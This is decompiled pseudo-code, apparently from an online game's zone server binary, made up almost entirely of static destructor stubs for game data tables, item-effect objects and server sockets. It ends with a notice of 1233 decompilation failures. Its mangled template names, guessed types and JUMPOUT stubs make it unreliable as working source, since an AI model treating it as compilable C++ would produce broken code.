AxialListNearScanSkillParty::_AxialListNearScanSkillParty((AxialListNearScanSkillFriend *)&alnse); } //----- (00594A30) -------------------------------------------------------- void __cdecl _E24_4() { AxialListNearScanSkillParty::_AxialListNearScanSkillParty(&alnsf); } //----- (00594A40) -------------------------------------------------------- void __cdecl _E27_4() { AxialListNearScanSkillParty::_AxialListNearScanSkillParty((AxialListNearScanSkillFriend *)&alnsp); } //----- (00594A60) -------------------------------------------------------- void __cdecl _E10_25() { BTree::_BTree(&skillnametree); } //----- (00594A70) -------------------------------------------------------- void __cdecl _E4_83() { SkillDataBox::_SkillDataBox(&skilldatabox); } //----- (00594A80) -------------------------------------------------------- void __cdecl _E7_51() { PassiveDataBox::_PassiveDataBox((AbnormalStateDictionary::SubAbState *)&passivedatabox); } //----- (00594AE0) -------------------------------------------------------- void __cdecl _E2_22() { SpamerPenaltyDataBox::_SpamerPenaltyDataBox(&SpamerPenaltyData); } //----- (00594C70) -------------------------------------------------------- void __cdecl _E2_23() { PassiveDataBox::_PassiveDataBox((AbnormalStateDictionary::SubAbState *)&upgradedatabox); } //----- (00594C80) -------------------------------------------------------- void __cdecl _E11_31() { UseEffect::UseItemJustReviveAtDead::_UseItemJustReviveAtDead((UseEffect::UseItemJustReviveAtDead *)&ui_JustRevive); } //----- (00594C90) -------------------------------------------------------- void __cdecl _E8_34() { ui_base = &UseEffect::UseItemBase::_vftable_; } // 5D0F70: using guessed type int (__stdcall *UseEffect__UseItemBase___vftable_)(int, int itm); // 603220: using guessed type int (__stdcall **ui_base)(int, int itm); //----- (00594CA0) -------------------------------------------------------- void __cdecl _E14_14() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_silverwing); } //----- (00594CB0) -------------------------------------------------------- void __cdecl _E17_17() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_recallscroll); } //----- (00594CC0) -------------------------------------------------------- void __cdecl _E20_8() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_skillscroll); } //----- (00594CD0) -------------------------------------------------------- void __cdecl _E23_8() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_chestopen); } //----- (00594CE0) -------------------------------------------------------- void __cdecl _E26_6() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_mysterybolt); } //----- (00594CF0) -------------------------------------------------------- void __cdecl _E29_7() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_bytable); } //----- (00594D00) -------------------------------------------------------- void __cdecl _E32_5() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_chargedbuff); } //----- (00594D10) -------------------------------------------------------- void __cdecl _E35_4() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_minihouse); } //----- (00594D20) -------------------------------------------------------- void __cdecl _E38_3() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_actionitem); } //----- (00594D30) -------------------------------------------------------- void __cdecl _E41_2() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_minihousefurniture); } //----- (00594D40) -------------------------------------------------------- void __cdecl _E44_3() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_ride); } //----- (00594D50) -------------------------------------------------------- void __cdecl _E47_3() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_horsefood); } //----- (00594D60) -------------------------------------------------------- void __cdecl _E50_1() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_itempackage); } //----- (00594D70) -------------------------------------------------------- void __cdecl _E53_2() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_LicenceClear); } //----- (00594D80) -------------------------------------------------------- void __cdecl _E56_2() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_amounthp); } //----- (00594D90) -------------------------------------------------------- void __cdecl _E59_2() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_amountsp); } //----- (00594DA0) -------------------------------------------------------- void __cdecl _E62_2() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_StatClearStat); } //----- (00594DB0) -------------------------------------------------------- void __cdecl _E65_2() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_StatClearEmpow); } //----- (00594DC0) -------------------------------------------------------- void __cdecl _E68_1() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_Roar); } //----- (00594DD0) -------------------------------------------------------- void __cdecl _E71_0() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_SkillErase); } //----- (00594DE0) -------------------------------------------------------- void __cdecl _E74_1() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_MemoryFeather); } //----- (00594DF0) -------------------------------------------------------- void __cdecl _E77_0() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_SparrowWingStone); } //----- (00594E00) -------------------------------------------------------- void __cdecl _E80_1() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_BossMobDetect); } //----- (00594E10) -------------------------------------------------------- void __cdecl _E86_0() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_dummy2real); } //----- (00594E20) -------------------------------------------------------- void __cdecl _E89_0() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_Propose); } //----- (00594E30) -------------------------------------------------------- void __cdecl _E92_1() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_ImmediateDivorce); } //----- (00594E40) -------------------------------------------------------- void __cdecl _E95_0() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_GuildReName); } //----- (00594E50) -------------------------------------------------------- void __cdecl _E98_1() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_GuildReType); } //----- (00594E60) -------------------------------------------------------- void __cdecl _E101_1() { UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)&ui_FurnitureEndureKit); } //----- (00594E70) -------------------------------------------------------- void __cdecl _E5_73() { GatherProduce::GatherTable::_GatherTable((GatherProduce::GatherTable *)&useditemeffect); } //----- (00594E80) -------------------------------------------------------- void __cdecl _E83_1() { UseEffect::UseItemChest::_UseItemChest(&ui_NoEffect); } //----- (00594EE0) -------------------------------------------------------- void __cdecl _E5_76() { ZoneRingPacketExpBonus::_ZoneRingPacketExpBonus((ZoneRingPacketFindInstanceDungeon *)&zonringpack_findplayer); } //----- (00594EF0) -------------------------------------------------------- void __cdecl _E8_36() { ZoneRingPacketExpBonus::_ZoneRingPacketExpBonus((ZoneRingPacketFindInstanceDungeon *)&zonringpack_summonplayer); } //----- (00594F00) -------------------------------------------------------- void __cdecl _E11_32() { ZoneRingPacketExpBonus::_ZoneRingPacketExpBonus((ZoneRingPacketFindInstanceDungeon *)&zonringpack_kickplayerout); } //----- (00594F10) -------------------------------------------------------- void __cdecl _E14_15() { ZoneRingPacketExpBonus::_ZoneRingPacketExpBonus((ZoneRingPacketFindInstanceDungeon *)&zonringpack_expbonus); } //----- (00594F20) -------------------------------------------------------- void __cdecl _E17_18() { ZoneRingPacketExpBonus::_ZoneRingPacketExpBonus((ZoneRingPacketFindInstanceDungeon *)&zonringpack_itembonus); } //----- (00594F30) -------------------------------------------------------- void __cdecl _E20_9() { ZoneRingPacketExpBonus::_ZoneRingPacketExpBonus((ZoneRingPacketFindInstanceDungeon *)&zonringpack_findplayerbynormaluser); } //----- (00594F40) -------------------------------------------------------- void __cdecl _E23_9() { ZoneRingPacketExpBonus::_ZoneRingPacketExpBonus((ZoneRingPacketFindInstanceDungeon *)&zonringpack_summonpartner); } //----- (00594F50) -------------------------------------------------------- void __cdecl _E26_7() { ZoneRingPacketExpBonus::_ZoneRingPacketExpBonus(&zonringpack_refresh_weddinginfo); } //----- (00594F60) -------------------------------------------------------- void __cdecl _E29_8() { ZoneRingPacketExpBonus::_ZoneRingPacketExpBonus((ZoneRingPacketFindInstanceDungeon *)&zonringpack_emptyinstancedungeon); } //----- (00594F70) -------------------------------------------------------- void __cdecl _E32_6() { ZoneRingPacketExpBonus::_ZoneRingPacketExpBonus(&zonringpack_findinstancedungeon); } //----- (00594F80) -------------------------------------------------------- void __cdecl _E4_87() { ZoneIPContainer::_ZoneIPContainer(&zipc); } //----- (00594F90) -------------------------------------------------------- void __cdecl _E11_33() { CCharacterTitleData::_CCharacterTitleData((BinaryData *)&gAnnounceSystem); } //----- (00594FA0) -------------------------------------------------------- void __cdecl _E14_16() { CQuestData::_CQuestData(&gQuestData); } //----- (00594FB0) -------------------------------------------------------- void __cdecl _E17_19() { CGuildZone::_CGuildZone(&gGuild); } //----- (00594FC0) -------------------------------------------------------- void __cdecl _E20_10() { CDataReader::_CDataReader(&gClassName); } //----- (00594FD0) -------------------------------------------------------- void __cdecl _E23_10() { CDataReader::_CDataReader(&gItemUpgrade); } //----- (00594FE0) -------------------------------------------------------- void __cdecl _E26_8() { CDataReader::_CDataReader(&gItemDismantle); } //----- (00594FF0) -------------------------------------------------------- void __cdecl _E29_9() { CDataReader::_CDataReader(&gMiniHouseObjEffect); } //----- (00595000) -------------------------------------------------------- void __cdecl _E32_7() { CDataReader::_CDataReader(&gMiniHouseDiceRate); } //----- (00595010) -------------------------------------------------------- void __cdecl _E35_5() { CDataReader::_CDataReader(&gMiniHouseDiecGame); } //----- (00595020) -------------------------------------------------------- void __cdecl _E38_4() { CDataReader::_CDataReader(&gMiniHouseDiceDividind); } //----- (00595030) -------------------------------------------------------- void __cdecl _E41_3() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&gMiniHouseDiceTaiSai); } //----- (00595040) -------------------------------------------------------- void __cdecl _E44_4() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut(&gMiniHouseDiceTaiSaiDividind); } //----- (00595050) -------------------------------------------------------- void __cdecl _E5_77() { CWeaponTitleZone::_CWeaponTitleZone(&gWeaponTitle); } //----- (00595060) -------------------------------------------------------- void __cdecl _E8_37() { CCharacterTitleData::_CCharacterTitleData((BinaryData *)&gCharacterTitleData); } //----- (00595080) -------------------------------------------------------- void __cdecl _E50_2() { std::set_std::allocator>::_set_std::allocator>((std::set,std::allocator > *)&globalset); } //----- (00595450) -------------------------------------------------------- void __cdecl _E191() { JUMPOUT(KingdomQuestGate::KingdomQuestGateKeeper::_KingdomQuestGateKeeper); } //----- (00595460) -------------------------------------------------------- void __cdecl _E197() { MapDataBox::_MapDataBox(&mapdatabox); } //----- (00595470) -------------------------------------------------------- void __cdecl _E200() { MobDataBox::_MobDataBox(&mobdatabox); } //----- (00595480) -------------------------------------------------------- void __cdecl _E203() { ItemDataBox::_ItemDataBox(&itemdatabox); } //----- (00595490) -------------------------------------------------------- void __cdecl _E206() { ZoneServer::_ZoneServer(&zoneserver); } //----- (005954A0) -------------------------------------------------------- void __cdecl _E209() { ZoneConnectSession::_ZoneConnectSession(&zoneconnect); } //----- (005954C0) -------------------------------------------------------- void __cdecl _E224() { MobHatchery::_MobHatchery((MobHatchery *)&mobhat); } //----- (005954E0) -------------------------------------------------------- void __cdecl _E188() { JUMPOUT(KingdomQuestGate::KingdomQuestGateKeeper::_KingdomQuestGateKeeper); } //----- (005954F0) -------------------------------------------------------- void __cdecl _E194() { EventReserveContainer::_EventReserveContainer((EventReserveContainer *)&zonevent); } //----- (00595500) -------------------------------------------------------- void __cdecl _E212() { SocketBundle::_SocketBundle((SocketBundle *)&sock2gameDB); } //----- (00595510) -------------------------------------------------------- void __cdecl _E215() { SocketBundle::_SocketBundle((SocketBundle *)&sock2gamelog); } //----- (00595520) -------------------------------------------------------- void __cdecl _E218() { SocketBundle::_SocketBundle(&sock2wldman); } //----- (00595530) -------------------------------------------------------- int __cdecl _E261() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 1250D670: using guessed type int ITableBase_DamageLvGapEVP_LevelGap_Monster_to_Player___ms_pkTable; //----- (00595560) -------------------------------------------------------- int __cdecl _E259() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 1250D66C: using guessed type int ITableBase_DamageLvGapPVE_LevelGap_Player_to_Monster___ms_pkTable; //----- (00595590) -------------------------------------------------------- int __cdecl _E257() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 1250D668: using guessed type int ITableBase_MysteryVaultServer_MysteryVaultTable___ms_pkTable; //----- (005955C0) -------------------------------------------------------- int __cdecl _E255() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 1246AD78: using guessed type int ITableBase_AccUpgrade_AccUpGradeTable___ms_pkTable; //----- (005955F0) -------------------------------------------------------- int __cdecl _E253() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // C88F948: using guessed type int ITableBase_GTWinScore_GTWinScoreTable___ms_pkTable; //----- (00595620) -------------------------------------------------------- int __cdecl _E251() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 1250D664: using guessed type int ITableBase_GTIBreedSubject_GTIBreedSubjectTable___ms_pkTable; //----- (00595650) -------------------------------------------------------- int __cdecl _E249() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // C88F944: using guessed type int ITableBase_GTIServer_GTIServerTable___ms_pkTable; //----- (00595680) -------------------------------------------------------- int __cdecl _E247() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // C88F940: using guessed type int ITableBase_GTIGetRateGap_GTIGetRateGapTable___ms_pkTable; //----- (005956B0) -------------------------------------------------------- int __cdecl _E245() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 1250D660: using guessed type int ITableBase_GTIGetRate_GTIGetRateTable___ms_pkTable; //----- (005956E0) -------------------------------------------------------- int __cdecl _E243() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 1250D65C: using guessed type int ITableBase_GUILD_TOURNAMENT_MASTERBUFF_GuildTournamentMasterBuffTable___ms_pkTable; //----- (00595710) -------------------------------------------------------- int __cdecl _E241() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 1250D658: using guessed type int ITableBase_GUILD_TOURNAMENT_SKILL_GuildTournamentSkillTable___ms_pkTable; //----- (00595740) -------------------------------------------------------- int __cdecl _E239() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 1250D654: using guessed type int ITableBase_GUILD_TOURNAMENT_OCCUPY_GuildTournamentOccupyTable___ms_pkTable; //----- (00595770) -------------------------------------------------------- int __cdecl _E237() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 1250D650: using guessed type int ITableBase_GUILD_TOURNAMENT_LVGAP_GuildTournamentLvGapTable___ms_pkTable; //----- (005957A0) -------------------------------------------------------- int __cdecl _E235() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 1250D64C: using guessed type int ITableBase_GUILD_TOURNAMENT_SCORE_GuildTournamentScoreTable___ms_pkTable; //----- (005957D0) -------------------------------------------------------- int __cdecl _E265() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 1250D678: using guessed type int ITableBase_DamageLvGapPVP_LevelGap_Player_to_Player___ms_pkTable; //----- (00595800) -------------------------------------------------------- int __cdecl _E263() { int result; // eax@2 if ( ITableBase::ms_pkTable ) { result = (**(int (***)(void))ITableBase::ms_pkTable)(); if ( ITableBase::ms_pkTable ) result = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)ITableBase::ms_pkTable + 8))(1); ITableBase::ms_pkTable = 0; } return result; } // 1250D674: using guessed type int ITableBase_AccUpGradeInfo_AccUpGradeInfoTable___ms_pkTable; //----- (00595840) -------------------------------------------------------- int __cdecl _E4_88() { int result; // eax@3 if ( NPCAction::ActionGen_OptionReader::tableName_._Myres >= 0x10 ) operator delete(*(void **)&NPCAction::ActionGen_OptionReader::tableName_._Bx._Buf[0]); result = 0; NPCAction::ActionGen_OptionReader::tableName_._Myres = 15; NPCAction::ActionGen_OptionReader::tableName_._Mysize = 0; NPCAction::ActionGen_OptionReader::tableName_._Bx._Buf[0] = 0; return result; } //----- (00595870) -------------------------------------------------------- int __cdecl _E4_89() { int result; // eax@3 if ( NPCAction::CondGen_OptionReader::tableName_._Myres >= 0x10 ) operator delete(*(void **)&NPCAction::CondGen_OptionReader::tableName_._Bx._Buf[0]); result = 0; NPCAction::CondGen_OptionReader::tableName_._Myres = 15; NPCAction::CondGen_OptionReader::tableName_._Mysize = 0; NPCAction::CondGen_OptionReader::tableName_._Bx._Buf[0] = 0; return result; } //----- (005958A0) -------------------------------------------------------- void __cdecl _E7_59() { NPCAction::Manager::_Manager((NPCAction::Manager *)&actionManager); } //----- (005958B0) -------------------------------------------------------- void __cdecl _E4_90() { NPCAction::Manager::_Manager(&conditionManager); } //----- (005958C0) -------------------------------------------------------- void __cdecl _E10_29() { std::map>_std::less_std::allocator>>>>::_map>_std::less_std::allocator>>>>((std::map >,std::less,std::allocator > > > > *)&triggerDic); } //----- (005958D0) -------------------------------------------------------- int __cdecl _E4_91() { int result; // eax@3 if ( NPCAction::TriggerGen_OptionReader::tableName_._Myres >= 0x10 ) operator delete(*(void **)&NPCAction::TriggerGen_OptionReader::tableName_._Bx._Buf[0]); result = 0; NPCAction::TriggerGen_OptionReader::tableName_._Myres = 15; NPCAction::TriggerGen_OptionReader::tableName_._Mysize = 0; NPCAction::TriggerGen_OptionReader::tableName_._Bx._Buf[0] = 0; return result; } //----- (00595900) -------------------------------------------------------- int __cdecl _E2_25() { int result; // eax@3 if ( unk_603330 >= 0x10u ) operator delete(p); result = 0; unk_603330 = 15; unk_60332C = 0; LOBYTE(p) = 0; return result; } //----- (00595930) -------------------------------------------------------- void __cdecl _E5_79() { std::map>_std::less_std::allocator>>>>::_map>_std::less_std::allocator>>>>(&GuildTournamentLvGapTable::sm_mapBalanceDatas); } //----- (00595940) -------------------------------------------------------- void __cdecl _E4_92() { std::multimap_std::allocator>>::_multimap_std::allocator>>((std::multimap,std::allocator > > *)&MysteryVaultTable::sm_ItemLists); } //----- (00595950) -------------------------------------------------------- void __cdecl _E5_80() { StaticVector::_StaticVector(&pointlist); } //----- (00595960) -------------------------------------------------------- void __cdecl _E2_26() { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator::_BinaryDataBox(&mobresisttable); } //----- (00595A10) -------------------------------------------------------- void __cdecl _E2_31() { ItemAttributeClassContainer::_ItemAttributeClassContainer(&itmattcontainer); } //----- (00595A50) -------------------------------------------------------- void __cdecl _E2_33() { CParty::PARTY_SLOT::_PARTY_SLOT(&CParty::p_def); } //----- (00595B70) -------------------------------------------------------- void __cdecl _E2_35() { BinaryDataBox::_BinaryDataBox((MobResistTable *)&rewarddata); } //----- (00595B80) -------------------------------------------------------- void __cdecl _E5_85() { ItemOptionsData::_ItemOptionsData(&itemoptiondata); } //----- (00595B90) -------------------------------------------------------- void __cdecl _E2_36() { _eh_vector_destructor_iterator_( &IOBufferList, 0x808u, 16, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00595BB0) -------------------------------------------------------- void __cdecl _E2_37() { CShnDataFileCheckSum::_CShnDataFileCheckSum(&ShnDataFile); } //----- (00595BBA) -------------------------------------------------------- void __cdecl _E2_38() { std::_Init_locks::__Init_locks(&initlocks); } //----- (00595BC4) -------------------------------------------------------- void __cdecl _E2_39() { std::locale::_locale(&classic_locale); } //----- (00595BCE) -------------------------------------------------------- void __cdecl _E2_40() { std::bad_alloc::_bad_alloc(&nomem); } //----- (00595BD8) -------------------------------------------------------- void __cdecl _E2_41() { std::_Init_locks::__Init_locks(&initlocks_0); } //----- (00595BE2) -------------------------------------------------------- void __cdecl _E5_86() { _Init_atexit::__Init_atexit(&init_atexit); } #error "There were 1233 decompilation failure(s) on 9526 function(s)"